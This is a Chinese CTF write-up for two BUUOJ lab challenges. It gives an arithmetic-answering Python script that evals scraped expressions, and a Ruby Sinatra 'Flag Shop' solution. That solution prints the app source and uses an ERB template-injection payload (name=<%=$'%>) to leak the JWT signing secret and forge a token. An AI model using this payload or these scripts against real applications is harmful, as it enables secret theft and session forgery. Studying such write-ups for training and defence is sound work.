[GXYCTF2019]StrongestMind
计算算式1000次给flag,写一个脚本就行。重点考察正则的使用:
from time import sleep
import requests
import re
url = "http://944c02ef-5777-4072-84fa-3fabe8c45ae9.node4.buuoj.cn:81/index.php"
s = requests.session()
r = re.compile(r"[0-9]+ [+|-] [0-9]+")
res = s.get(url)
for i in range(0,1001):
sleep(0.1)
play = r.findall(res.text)[0]
result = eval(play)
print(i,end=",")
print(result)
data = {
"answer":result}
res = s.post(url, data=data)
res.encoding = "utf-8"
print(res.text)
[SCTF2019]Flag Shop
有三个选项:buy flag需要你的JKL大于10e27,work可以增加你的JKL,大概是0-5的随机数,reset没用。
bp抓包看一下,这是work的,可以看到GET方法传了/work?name=bot&do=bot%20is%20working
,然后你的JKL就增加了。
注意/shop返回的html页面上是没有你的JKL数量的,它是又调用了/api/info去查看的
这里的cookie是一个jwt,记录你的uid和jkl。一般想法肯定是去修改cookie里的jkl,我直接修改了然后重放会报错,看来这里是需要密钥的。尝试了jwt直接破解密钥,不行。
我又尝试了用脚本不断点击work,如果不是buu上的waf限制了访问间隔说不定还真可以,我把脚本放在这里哪位勇士想的话可以尝试一下。
from time import sleep
import requests
i=0
cok="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI1OWYxOWU0Mi03NGFiLTQyYmMtYjhjZS0wNmZlMDY0ODE1NTkiLCJqa2wiOjE1NH0.VvXFVvRaWQVH7e0PDAOJaUkdnllTXRRaqX1Yoe5puKM"
while(i<=1000000000000000000000000001):
sleep(0.2)
url = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/work?name=bot&do=bot%20is%20working"
s = requests.session()
s.headers['Cookie']=cok
res = s.get(url)
cok=res.headers['Set-Cookie']
print(res.text)
s.headers['Cookie'] = cok
url1="http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/api/info"
re=s.get(url1)
a1=re.text.split(':')[2][:-1]
i=int(a1)
print(a1)
print(cok)
url2 = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/shop"
result = s.post(url2)
result.encoding="utf-8"
print(result.text)
看了writeup知道是robots.txt泄露filebak,源码如下:
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = {
uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, {
algorithm: 'HS256' }
json({
uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, {
algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, {
algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({
title: "error",message: "no enough jkl"})
else
auth << {
flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({
title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
重点是这里,用了REB模板渲染,name参数是我们可控的
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
那么怎么样让name输出密钥呢?这里对服务器中的SECRET与我们的参数SECRET做了一次match比较(说实话我现在才知道GET还可以传SECRET)。RUBY有预定义变量$`输出上次match左边的字符串。https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
因此我们构造name=<%=$'%>
,要记得转成十六进制
拿到密钥构造jwt重放,获得flag。flag也是在jwt里的。